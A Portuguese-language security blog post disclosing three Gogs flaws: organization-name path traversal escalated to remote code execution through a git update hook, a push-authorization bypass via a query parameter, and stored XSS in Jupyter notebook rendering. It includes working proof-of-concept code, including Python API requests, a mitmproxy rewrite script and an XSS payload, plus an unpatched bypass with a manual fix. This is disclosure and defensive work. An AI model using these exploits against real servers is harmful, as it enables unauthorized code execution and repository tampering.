19 de agosto de 2026

Mais um RCE no Gogs, mas desta vez já está corrigido!

Gogs é uma plataforma de alojamento Git de código aberto, semelhante ao GitHub ou GitLab. A aplicação permite aos utilizadores gerir os seus próprios repositórios e organizações. Internamente, depende fortemente da git CLI.

Tem havido um longo histórico de RCEs no Gogs, sendo que a maioria demorou a ser corrigida e exigiu divulgação pública antes mesmo de ser lançada uma versão com correção oficial. Este caso foi diferente. Após alguns meses de silêncio, parece que os mantenedores voltaram a trabalhar na segurança do Gogs e todos os nossos relatórios foram corrigidos a partir da versão 0.14.3! Esperamos que esta tendência continue e acabe por colocar o Gogs num estado seguro. No entanto, ainda existe atualmente uma falha de contorno não corrigida de uma vulnerabilidade que reportámos e que os nossos agentes de pentest de IA encontramos. Fornecemos abaixo uma correção manual de código para a mesma.

Esta publicação centrar-se-á principalmente na vulnerabilidade de Execução Remota de Código (CVE-2026-52813), por ser a mais interessante do ponto de vista técnico. Mas também explicarei um erro de lógica para escrever em repositórios só de leitura (CVE-2026-52810), juntamente com uma vulnerabilidade XSS na biblioteca de renderização Jupyter que o Gogs estava a utilizar (GHSA-6vxv-wg6j-5qwp).

Vamos direto ao assunto!

Path traversal no nome da organização

Começaremos pela forma como descobrimos a vulnerabilidade que foi, em simultâneo, a mais impactante e tecnicamente interessante: CVE-2026-52813 (GHSA-c39w-43gm-34h5).
Com o Aikido Attack, fazemos muitos pentests de IA em projetos de código aberto, incluindo o Gogs. Eis parte de um relatório que recebemos de um dos nossos agentes de pentest:

Aikido Relatório de um agente de testes de penetração que assinala uma violação do caminho crítico no nome de utilizador da organização Gogs, com passos de reprodução e um pedido curl que cria uma organização com o nome ../../../../tmp/ptapi3

Mencionava um path traversal no nome de utilizador da organização, apenas acessível através da API, para escrever para fora do diretório pretendido no resto do sistema de ficheiros.

Vamos aprofundar um pouco a causa raiz do que foi encontrado para compreender melhor o problema. A parte mais importante é esta função em repox.go:

func UserPath(user string) string {
    return filepath.Join(conf.Repository.Root, strings.ToLower(user))
}

Determina onde são armazenados no sistema de ficheiros os repositórios de cada utilizador, unindo simplesmente o respetivo nome de utilizador ao diretório raiz de repositórios configurado. Unir caminhos sem higienização é sempre arriscado porque o sistema operativo suporta ../ sequências para sair de quaisquer diretórios, tal como faz esta .Join() em Go.

Felizmente para o Gogs, estes nomes de utilizador são higienizados durante o registo utilizando a AlphaDashDot vinculação que apenas permite letras, números e -_. carateres. Isto torna impossível registar um utilizador com ../ no seu nome:

type Register struct {
    UserName string `binding:"Required;AlphaDashDot;MaxSize(35)"`
    Email    string `binding:"Required;Email;MaxSize(254)"`
    Password string `binding:"Required;MaxSize(255)"`
    Retype   string
}

Mas usuários não são a única coisa a passar UserPath(). As organizações também não, e quando analisamos a sua definição, não vemos qualquer higienização desse tipo para o UserName campo:

type createOrgRequest struct {
    UserName    string `json:"username" binding:"Required"`
    FullName    string `json:"full_name"`
    Description string `json:"description"`
    Website     string `json:"website"`
    Location    string `json:"location"`
}

Isto significa que podemos criar uma organização chamada ../../../../../tmp/test para fazer com que UserPath() devolva /path/to/root/ + ../../../../../tmp/test = /tmp/test. Quaisquer repositórios criados dentro da organização serão então escritos neste novo diretório fora da raiz.

Vamos testar na prática:

s = requests.Session()
# Get API token
r = s.post(f"{HOST}/api/v1/users/{USERNAME}/tokens",
    auth=(USERNAME, PASSWORD),
    json={"name": secrets.token_hex(12)}
)
r.raise_for_status()
sha1 = r.json().get("sha1")
s.headers.update({"Authorization": f"token {sha1}"})
# Create organization via API
org_name = "../../../../../tmp/test"
r = s.post(f"{HOST}/api/v1/user/orgs",
    json={
        "username": org_name,
        "full_name": "path-traversal",
    }
)
print(r.json())  # {'id': 4, 'username': '../../../../../tmp/test', 'full_name': 'deep', 'avatar_url': 'https://gogs.local/img/avatar_default.png', 'description': '', 'website': '', 'location': ''}

Agora que a organização está criada, podemos ver uma pasta dentro de /tmp chamada test/:

$ ls -l /tmp
total 4
drwxr-xr-x    2 git      git           4096 Jun  8 09:32 test

Para preenchê-la, podemos agora criar um novo repositório na organização maliciosa:

r = s.post(
    f"{HOST}/api/v1/org/{quote(org_name, safe='')}/repos",
    json={
        "name": "repo1",
        "description": "poc",
        "private": False,
        "auto_init": True,
        "readme": "Default",
    }
)
print(r.json())  # {'id': 1, 'owner': ..., 'name': 'repo1', 'full_name': '../../../../../tmp/test/repo1', 'description': 'poc', 'private': False, ...}

Sucesso! Ao inspecionar novamente o sistema de ficheiros, verificamos que a pasta repo1.git foi criada na localização especificada:

$ ls -l /tmp/test/repo1.git
total 28
-rw-r--r--    1 git      git             23 Jun  8 09:41 HEAD
-rw-r--r--    1 git      git             66 Jun  8 09:41 config
-rw-r--r--    1 git      git             73 Jun  8 09:41 description
drwxr-xr-x    2 git      git           4096 Jun  8 09:41 hooks
drwxr-xr-x    2 git      git           4096 Jun  8 09:41 info
drwxr-xr-x    7 git      git           4096 Jun  8 09:41 objects
drwxr-xr-x    4 git      git           4096 Jun  8 09:41 refs

Isto prova que temos algum tipo de path traversal a funcionar. Embora tenhamos inicializado o repositório com um README, este não está visível aqui no sistema de ficheiros. Isto acontece porque o que está aqui armazenado é um repositório bare. Um com apenas os ficheiros de metadados do git, sem nenhuma "worktree". O Gogs não precisa dos ficheiros reais durante as suas operações normais. Consegue obter todos os dados comprimidos objects e a estrutura neste repositório bare.

Escrever ficheiros arbitrários utilizando o conteúdo do repositório git seria uma primitiva muito poderosa. Parece que temos um path traversal muito fraco, onde apenas conseguimos criar esta estrutura específica de metadados do git...

Um caso limite é a edição de ficheiros na interface do Gogs. Isto seria inviável de fazer apenas com operações do git, pelo que o Gogs cria temporariamente uma worktree real localmente em /data/gogs/data/tmp/local-r/ com um ID incremental (2):

$ find / -name README.md 2>/dev/null
/data/gogs/data/tmp/local-r/2/README.md

Finalmente encontrámos o nosso README.md ficheiro criado aqui. Infelizmente, este caminho já não contém o nosso nome de utilizador, pelo que não conseguimos explorar a nossa vulnerabilidade de path traversal para escrever ficheiros arbitrários. Podemos:

  • Escrever repositórios bare (apenas metadados do Git) em qualquer lugar através de path traversal  
  • Criar worktrees (com ficheiros reais) apenas num caminho seguro específico

Será isto suficiente para causar danos numa configuração predefinida do Gogs? Conseguiríamos obter RCE apenas com esta escrita de ficheiros limitada?

RCE utilizando git config em repositórios aninhados

Foi aqui que assumimos manualmente a investigação, tentando escalar a descoberta de path traversal do agente para uma Execução Remota de Código completa.

Estamos um pouco limitados quanto ao que esta vulnerabilidade consegue fazer. Não conseguimos substituir ficheiros existentes em localizações arbitrárias, porque não controlamos os nomes dos ficheiros nos metadados do git. Apenas conseguimos criar esse repositório bare numa localização arbitrária.

A título de contexto, o Git tem "Hooks" que são scripts configurados no .git/hooks pasta que é executada sempre que determinadas operações Git ocorrem. Por exemplo, pre-commit é executado imediatamente antes de fazer um commit. Ou no lado do servidor update, que é executado sempre que um push é recebido de um cliente.

Se um atacante conseguir escrever em qualquer um destes caminhos de hooks, é quase garantido que resultará em RCE, uma vez que a próxima operação Git irá acionar a execução do script. Vamos direcionar isto para executar comandos de sistema arbitrários.

Sabemos que não podemos substituir um .git/hooks ficheiro de outro repositório com este path traversal. Mas pensando melhor, e se fizermos o inverso?

Podemos criar um worktree normal e, em seguida, colocar o nosso repositório bare dentro dele através da vulnerabilidade de path traversal. Depois, podemos editar o ficheiro hooks/update do repositório bare a partir do worktree do repositório normal. Quando fizermos o push para ele, o hook é acionado e conseguimos alcançar RCE. Vamos tentar na prática.

Primeiro, crie um repositório simples com o qual iremos editar ficheiros mais tarde. Por enquanto, criará apenas um diretório no sistema de ficheiros em /data/git/repositories/developer/editor.git (metadados), e ainda não em /data/gogs/data/tmp/local-r/1/ (worktree). Sabemos que para criar este worktree, podemos simplesmente adicionar qualquer ficheiro através da IU do Gogs.

Vista do repositório do Gogs para o programador/editor no ramo «master», com o botão «Novo ficheiro» destacado para adicionar um ficheiro e criar a árvore de trabalho do repositório

Após fazê-lo, o worktree é criado no ID do repositório (obtido por /api/v1/repos/:owner/:repo).

$ ls -la /data/gogs/data/tmp/local-r/1

drwxr-xr-x    7 git      git           4096 Jun  9 08:53 .git
-rw-r--r--    1 git      git             10 Jun  9 08:53 README.md
-rw-------    1 git      git              5 Jun  9 08:53 dummy

O passo seguinte é escrever o nosso path traversal organization nesta pasta editável. Vamos criar um com o nome ../../gogs/data/tmp/local-r/1 para cair na pasta. Em seguida, crie um repositório sob o mesmo.

org_name = "../../gogs/data/tmp/local-r/1"
r = s.post(f"{HOST}/api/v1/user/orgs", ...)
r = s.post(f"{HOST}/api/v1/org/{quote(org_name, safe='')}/repos", ...)

Após fazê-lo, o traversal repositório criado aparece na worktree:

$ ls -la

drwxr-xr-x    7 git      git           4096 Jun  9 08:53 .git
-rw-r--r--    1 git      git             10 Jun  9 08:53 README.md
-rw-------    1 git      git              5 Jun  9 08:53 dummy
drwxr-xr-x    6 git      git           4096 Jun  9 11:45 traversal.git

$ cat traversal.git/config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = true

Se recarregarmos a developer/editor página no Gogs agora, ainda não a conseguimos ver, porque o sistema de ficheiros ainda não está sincronizado com a interface. Para o fazer, vamos criar outro ficheiro fictício. Em seguida, ele aparece e podemos inclusivamente explorar os respetivos ficheiros:

O explorador de ficheiros Gogs a mostrar o repositório «traversal.git» bare, aninhado dentro de «developer/editor», com a sua pasta «hooks» e os ficheiros de metadados do Git

Parece que agora podemos simplesmente editar o hooks/update ficheiro para que se torne malicioso, mas quando tentamos fazê-lo, o Gogs devolve o seguinte erro no frontend:

Falha ao atualizar/criar o ficheiro 'traversal.git/hooks/update' com o erro: internal server error

Nos registos do backend, vemos:

[ERROR] [...gs/internal/route/repo/editor.go:280 editFilePost()] Failed to update repo file: bad tree path "traversal.git/hooks/update"

Infelizmente, existe uma verificação implementada para detetar se algum caminho que editamos contém .git/, e o nosso traversal.git/hooks/update caminho certamente que contém.

func (r *Repository) UpdateRepoFile(doer *User, opts UpdateRepoFileOptions) error {
    // 🚨 SECURITY: Prevent uploading files into the ".git" directory.
    if isRepositoryGitPath(opts.NewTreeName) {
        return errors.Errorf("bad tree path %q", opts.NewTreeName)
    }
    ...
}

func isRepositoryGitPath(path string) bool {
    path = strings.ToLower(path)
    return strings.HasSuffix(path, ".git") ||
        strings.Contains(path, ".git/") ||
        strings.Contains(path, `.git\`) ||
        // Windows treats ".git." the same as ".git"
        strings.HasSuffix(path, ".git.") ||
        strings.Contains(path, ".git./") ||
        strings.Contains(path, `.git.\`)
}

Portanto, o editor da interface não permite editar o nosso repositório aninhado. Mas e quanto a um push nativo do Git?

$ git clone https://gogs.local/developer/editor.git && cd editor
$ echo 'id>/tmp/pwned' >> traversal.git/hooks/update
$ git add .
$ git commit -m "atualização do hook"
$ git push
Nome de utilizador para «https://gogs.local»: developer
Palavra-passe para «https://developer@gogs.local»:
Para https://gogs.local/developer/editor.git
   8c7f89f..fe4cc1b  master -> master

Funciona na perfeição! A verificação é mais flexível, na medida em que o nome de um segmento de percurso tem de ser exatamente igual a .git. Temos a sorte de o nome do repositório, sem nada à frente, ser traversal.git e não .git, uma vez que o método Git ainda permite esse nome.

Carregue novamente outro ficheiro de teste para atualizar a árvore de trabalho e já podemos ver o ficheiro atualizado!

O Gogs a visualizar o ficheiro «traversal.git/hooks/update», um script bash que executa o hook de atualização do Gogs e, em seguida, executa «id>/tmp/pwned» como carga útil injetada

Agora só falta fazer o push para o repositório bare. Precisamos de fazer isto no repositório sob a ../../ organização, o que é um pouco pouco prático na interface de utilizador (UI). Mas, através da API, podemos simplesmente codificar o caminho em URL e acedê-lo sem problemas. Vamos acionar outro carregamento de ficheiro para que este efetue internamente um commit numa segunda árvore de trabalho (worktree) e, em seguida, faça o push para o repositório bare (ambos no mesmo sistema de ficheiros, é assim que o Git funciona e como o Gogs gere internamente os seus repositórios).

r = s.put(
    f"{HOST}/api/v1/repos/{org_enc}/traversal/contents/dummy4",
    json={
        "message": "trigger update hook",
        "content": base64.b64encode(b"dummy4").decode(),
        "branch": "master",
    }
)
print(r.json())  # {'commit': {'url': 'http://4.245.3.4:13000/api/v1/repos/../../gogs/data/tmp/local-r/1/traversal/contents/dummy4', ...}, ...}

Após este commit para o traversal repositório, é feito o push para \/data\/gogs\/data\/tmp\/local-r\/1\/traversal.git, o que aciona traversal.git/hooks/update. Sobrescrevemo-lo para ser executado id > \/tmp\/pwned posteriormente e, quando verificamos este caminho, encontramos sem dúvida o resultado de id:

$ cat \/tmp\/pwned\nuid=1000(git) gid=101(git) groups=101(git)\n

Conseguimos obter com sucesso a Execução Remota de Código (RCE) no Gogs como o git utilizador!

Bypass da autorização de push utilizando a confusão do receive-pack

Voltando a um tipo de vulnerabilidade totalmente diferente: CVE-2026-52810 (GHSA-wmfg-5p4h-5fw3). Em vez de injeções complicadas, trata-se de um simples erro de lógica, mas difícil de detetar manualmente. Tudo acontece dentro do protocolo HTTP do Git, que o Gogs implementa para operações como git push para um repositório.

Nas "Inteligente" protocolo, existem dois serviços: git-upload-pack (pedir ao servidor para carregar para si = pull) e git-receive-pack (o servidor recebe novos dados seus = push).
Estas duas operações têm permissões diferentes associadas. Só deve conseguir push se tiver Escrita , mas para uma simples pull, Leitura é suficiente. O Gogs implementa isto numa espécie de middleware para toda a lógica Git HTTP:

func HTTPContexter(store Store) macaron.Handler {
    ...
    isPull := c.Query("service") == "git-upload-pack" ||
        strings.HasSuffix(c.Req.URL.Path, "git-upload-pack") ||
        c.Req.Method == "GET"
    ...
    mode := database.AccessModeWrite
    if isPull {
        mode = database.AccessModeRead
    }

O pedido é tratado como um pull (leitura) se o serviço parâmetro de consulta ou o caminho final for git-upload-pack.

O Gogs define então os handlers para as ações específicas:

{lazyregexp.New("(.*?)/git-upload-pack$"), "POST", serviceUploadPack},
{lazyregexp.New("(.*?)/git-receive-pack$"), "POST", serviceReceivePack},

Notavelmente, não há menção de um serviço parâmetro de consulta aqui. Após validar a autorização com uma simples verificação de string no caminho, analisa o caminho novamente utilizando as RegExes acima. Isto pode facilmente levar a discrepâncias em que a autorização o vê como um Leitura pedido, enquanto o handler correspondente é um Escrita endpoint.

O serviço o parâmetro de consulta destinava-se a /refs/info, mas foi ativado globalmente para autorização. Isto significa que podemos pedir um caminho de /git-receive-pack com um parâmetro ignorado de service=git-upload-pack. O Gogs ficará confuso e pensará que, devido ao parâmetro, este tem de ser um leitura pedido. Mas quando chega ao handler, o endpoint de escrita é acionado!

Na verdade, explorar isto parece um pouco complicado, porque o protocolo para enviar commits é altamente personalizado pelo Git. No entanto, podemos simplesmente criar um pequeno proxy que reescreve /git-receive-pack para /git-receive-pack?service=git-upload-pack para contornar a verificação:

from urllib.parse import parse_qsl, urlencode, urlsplit, urlunsplit
from mitmproxy import ctx, http

def request(flow: http.HTTPFlow) -> None:
    u = urlsplit(flow.request.pretty_url)
    if not u.path.endswith("/git-receive-pack"):
        return

    params = parse_qsl(u.query, keep_blank_values=True)
    params.append(("service", "git-upload-pack"))
    query = urlencode(params)
    flow.request.url = urlunsplit((u.scheme, u.netloc, u.path, query, ""))
    ctx.log.info(f"[poc] rewrite receive-pack -> {u.path}?{query}")

Este script é compatível com mitmproxy. Depois de o executar, podemos definir as http_proxy e https_proxy variáveis de ambiente noutro terminal antes de executar git comandos. O Git encaminhará todas as suas chamadas de rede através do nosso script, que reescreve o /git-receive-pack para acrescentar o service=git-upload-pack parâmetro de consulta.

Vamos tentar criar um repositório numa conta, cloná-lo e fazer o push com o proxy ativo:

$ mitmdump -s mitmproxy_addon.py -p 1337

$ export http_proxy=http://127.0.0.1:1337
$ export https_proxy=http://127.0.0.1:1337
$ git clone https://gogs.local/victim/target.git && cd target
$ echo POC > poc
$ git add .
$ git commit -m poc
$ git push
error: RPC failed; HTTP 500 curl 22 The requested URL returned error: 500
send-pack: unexpected disconnect while reading sideband packet
fatal: the remote end hung up unexpectedly

500? Ao verificar os registos do backend, deparámo-nos com uma referência a um ponteiro nulo?!

[Macaron] PANIC: erro de execução: endereço de memória inválido ou referência a um ponteiro nulo
runtime/panic.go:336 (0x492697)
runtime/signal_unix.go:931 (0x492665)
gogs.io/gogs/internal/database/repo_editor.go:67 (0x1286642)
gogs.io/gogs/internal/route/repo/http.go:257 (0x142e5e5)
gogs.io/gogs/internal/route/repo/http.go:282 (0x142ed44)
gogs.io/gogs/internal/route/repo/http.go:425 (0x142fbae)

nenhum no Go é apenas a sua versão de nulo. Se tentares ler uma propriedade de um objeto que esteja nenhum, ocorre uma «desreferência de ponteiro nulo». Se seguirmos o código em internal/database/repo_editor.go:67, vemos que:

EnvAuthUserID + "=" + strconv.FormatInt(opts.AuthUser.ID, 10),

Parece que o nosso AuthUser não estava configurado. Mais acima na cadeia de chamadas, supostamente deveríamos obtê-lo a partir do final de HTTPContexter():

func HTTPContexter(store Store) macaron.Handler {
    ...
    c.Map(&HTTPContext{
        Context:   c,
        OwnerName: ownerName,
        OwnerSalt: owner.Salt,
        RepoID:    repo.ID,
        RepoName:  repoName,
        AuthUser:  authUser,
    })

Mas devido ao nosso bypass, isPull é true, e este retorno antecipado é acionado primeiro:

func HTTPContexter(store Store) macaron.Handler {
    ...
    // Authentication is not required for pulling from public repositories.
    if isPull && !repo.IsPrivate && !conf.Auth.RequireSigninView {
        c.Map(&HTTPContext{
            Context: c,
        })
        return
    }

Por causa disso, AuthUser não está definido e, quando tenta ser utilizado por receive-pack, ocorre um empastelamento (crash). Felizmente, encontramos algumas formas fáceis de contornar isto diretamente no código-fonte:

  1. Se repo.IsPrivate, a condição é ignorada  
  2. Se conf.Auth.RequireSigninView estiver ativado, a condição é ignorada

Portanto, o exploit só funciona para repositórios que não são publicamente legíveis. Se a configuração global RequireSigninView estiver definida, toda a instância fica vulnerável. Para facilitar os testes, vamos apenas criar um repositório privado e convidar o atacante como colaborador com acesso de leitura:

Definições de colaboração do Gogs para o repositório privado da vítima/alvo, mostrando a conta do atacante adicionada como colaborador com acesso apenas de leitura

Ao tentar novamente o PoC, verificamos que o atacante consegue agora escrever com sucesso no repositório:

$ git push
Username for 'https://gogs.local': attacker
Password for 'https://developer@gogs.local':
...
Writing objects: 100% (3/3), 507 bytes | 507.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
To https://gogs.local/victim/target.git
   62ef1eb..cb13c59  master -> master

A alteração também se reflete na interface de utilizador (UI):

Lista de ficheiros do Gogs relativa à vítima/alvo após a exploração, mostrando um ficheiro PoC enviado pelo atacante ao lado do ficheiro README.md

Com esta vulnerabilidade, um atacante pode escrever em qualquer repositório para o qual seja necessário iniciar sessão para leitura. Se estiver ligado a CI/CD, poderá desencadear implementações maliciosas e, de um modo geral, ocultar malware.

Por corrigir

Esta vulnerabilidade foi resolvida em #8331 ao validar quais rotas se destinam à receção versus carregamento. No entanto, esta correção está incompleta porque a verificação de /git-receive-pack não corresponde a /git-RECEIVE-pack (em maiúsculas), enquanto o router mais tarde é insensível a maiúsculas/minúsculas. Reportámos a falha de segurança ao maintainer, mas ainda não tínhamos recebido resposta à data de publicação desta publicação.

Aplique o seguinte patch de código-fonte e recompile o Gogs para mitigar esta vulnerabilidade:

--- a/internal/route/repo/http.go
+++ b/internal/route/repo/http.go
@@ -62,8 +62,10 @@ func gitHTTPActionFromPath(urlPath, subpath, owner, repo string) string {
 }
 
 func gitHTTPIsPull(c *macaron.Context, action string) bool {
+    action = strings.ToLower(action)
     if action == "info/refs" {
-        return c.Query("service") != "git-receive-pack"
+        return !strings.EqualFold(c.Query("service"), "git-receive-pack")
     }
     return action != "git-receive-pack"
 }

XSS armazenado em ficheiros .ipynb

Por fim, tratou-se de um exploit simples, mas com uma razão interessante: GHSA-6vxv-wg6j-5qwp (ainda sem CVE). Se se limitasse a ler o código, pensaria que estaria devidamente sanitizado!

A maioria das interfaces de utilizador do Git tem métodos de visualização personalizados para alguns ficheiros específicos, incluindo Jupyter Notebooks (.ipynb ficheiros). Destinam-se a ser montras interativas de entradas e saídas de código Python com descrições em Markdown incorporadas.

Notebook Jupyter «test.ipynb» renderizado no Gogs, exibindo o título «Hello world» acima de uma célula de código com print("Hello, world!")

Poderá perguntar-se como é que estão a fazer a renderização?
A resposta: Uma versão extremamente desatualizada de notebookjs (0.4.2, sendo a mais recente a 0.8.0).

Quase sempre que se fala em Markdown, fala-se em HTML. O conteúdo HTML bruto faz inclusivamente parte da especificação CommonMark, pelo que muitos motores de renderização o implementam sem hesitar. O problema para o Gogs é que o input não fidedigno (o conteúdo do ficheiro de qualquer utilizador) flui para este motor de renderização.

No código-fonte, parece que está a ser efetuada alguma sanitização do lado do Gogs:

$.getJSON("/siteadmin/ipynb/raw/master/test.ipynb", null, function(notebook_json) {
  var notebook = nb.parse(notebook_json);
  var rendered = notebook.render();
  $.ajax({
    type: "POST",
    url: '/-/api/sanitize_ipynb',
    data: rendered.outerHTML,
    processData: false,
    contentType: false,
  }).done(function(data) {
    $("#ipython-notebook").append(data);
    ...

O backend utiliza bluemonday, uma biblioteca de sanitização conceituada para limpar o output do notebookjs antes de acrescentar os dados ao DOM. Assim, um payload como <u>te<script>1</script>st</u> transforma-se em <u>test</u>. Isto é seguro.

No entanto, podemos detetar um problema na própria biblioteca notebookjs. Durante a transformação de Markdown para HTML para células Markdown, cria um elemento temporário e atribui-lhe .innerHTML :

var el = makeElement("div", ["cell", "markdown-cell"]);
el.innerHTML = nb.markdown(joinText(this.raw.source))

Apesar de estar não adicionado ao DOM, a própria atribuição a qualquer variável temporária de JavaScript é suficiente para acionar eventos no elemento. No caso do elemento <img> , por exemplo, o respetivo src= já está carregado e pode falhar, acionando onerror=. Tudo isto no próprio notebookjs.

Por esse motivo, uma payload como a seguinte funcionará independentemente do que o Gogs fizer com o resultado:

{
  "cells": [
    {
      "cell_type": "markdown",
      "metadata": {},
      "source": [
        "<img src onerror=alert(origin)>"
      ]
    }
  ],
  "metadata": {},
  "nbformat": 4,
  "nbformat_minor": 2
}

Visualizar o ficheiro .ipynb agora aciona XSS durante a composição:

O navegador apresenta um alerta em JavaScript com a mensagem «gogs.local diz https://gogs.local», desencadeado pela abertura de um ficheiro .ipynb malicioso que demonstra o XSS armazenado

O atacante pode colocar esses ficheiros em vários sítios, como nos seus próprios repositórios, em Pull Requests que são compostas ao clicar em View file, ou simplesmente enviando a qualquer outro utilizador um link direto para o ficheiro com a payload.

Detecção

Para verificar se é afetado pela Execução Remota de Código (CVE-2026-52813), veja se a sua versão do Gogs é a 0.14.2 ou inferior. O Aikido deteta esta versão na sua organização com um alerta "crítico":

Aikido classifica os alertas do Gogs anteriores à versão 0.14.3 como críticos, com uma pontuação de 100 para a vulnerabilidade de execução remota de código (RCE) por traversal de caminho, recomendando a atualização para a versão 0.14.3 ou posterior

A ultrapassagem da autorização de push (CVE-2026-52810) não tem nenhuma versão oficialmente corrigida. Todas as versões se encontram atualmente vulneráveis. O Aikido deteta instâncias do Gogs com um alerta "alto":

Aikido classifica a versão Gogs 0.14.3 e anteriores como de alto risco, com uma pontuação de 71 devido à falha de segurança que permite contornar a autorização HTTP do Git, aconselhando a desativar o Git Smart HTTP e a utilizar SSH

Conclusão

Como já foi partilhado várias vezes, integrar o Git numa aplicação continua a ser, muitas vezes, uma tarefa ambiciosa de realizar em segurança. O sistema traz consigo tantos obstáculos no sistema de ficheiros que os atacantes podem explorar. Pior ainda, o impacto é frequentemente crítico. É por isso que é crucial testar exaustivamente essas aplicações através da realização de pentests.

Se demorar muito tempo a corrigir as vulnerabilidades após serem detetadas, isto deixa um período significativo em que se sabe que a aplicação é explorável. Na era da IA, toda a gente está a encontrar vulnerabilidades. Os programadores têm a tarefa de lançar correções mais rapidamente do que antes, pelo que precisamos de nos habituar a acelerar esta parte também com ferramentas como Aikido Autofix.

Depois, pode inclusivamente validar as correções de forma autónoma com pentest de IA e continuar a disponibilizar funcionalidades e melhorias que as pessoas realmente querem.

Atualmente, o Gogs não está a ser mantido ativamente, pelo que são prováveis vulnerabilidades ativas. Recomendamos a utilização de uma solução git autoalojada diferente por enquanto, até que a situação se estabilize.

4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes
Autores
Jorian Woltjer
Verificar por malware
Proteja seu código, Cloud e tempo de execução em um sistema centralizado. Encontre e corrija vulnerabilidades rapidamente de forma automática.
Comece gratuitamente
Compartilhar:

Adicionados recentemente

18 de novembro de 2026

O PHP agendou uma atualização de segurança crítica para 19 de novembro, incluindo o CVE-2026-115560

O PHP vai lançar atualizações de segurança críticas a 19 de novembro. Eis o que sabemos sobre o CVE-2026-115560 e como mitigar o problema antes do lançamento da correção.
Ler mais
18 de novembro de 2026

nginx2root: Vulnerabilidades críticas no nginx, incluindo uma que permite a execução remota de código (RCE) [CVE-2026-123007, CVE-2026-123634, CVE-2026-123633, CVE-2026-121810, CVE-2026-113425]

O nginx2root consiste em cinco vulnerabilidades críticas de RCE (execução de código remoto) do nginx, incluindo a CVE-2026-123007 no HTTP/2. Verifique se está afetado e atualize para a versão 1.31.9 ou 1.30.7 do nginx.
Ler mais
17 de novembro de 2026

Java4Shell: Falha de RCE no descodificador Base64 do OpenJDK, com versões afetadas e correção (CVE-2026-114938)

O Java4Shell é uma falha no descodificador Base64 do OpenJDK que pode permitir que os atacantes executem código remotamente, por vezes sem autenticação. Aqui estão as versões afetadas, as compilações corrigidas e como mitigar esta vulnerabilidade neste momento.
Ler mais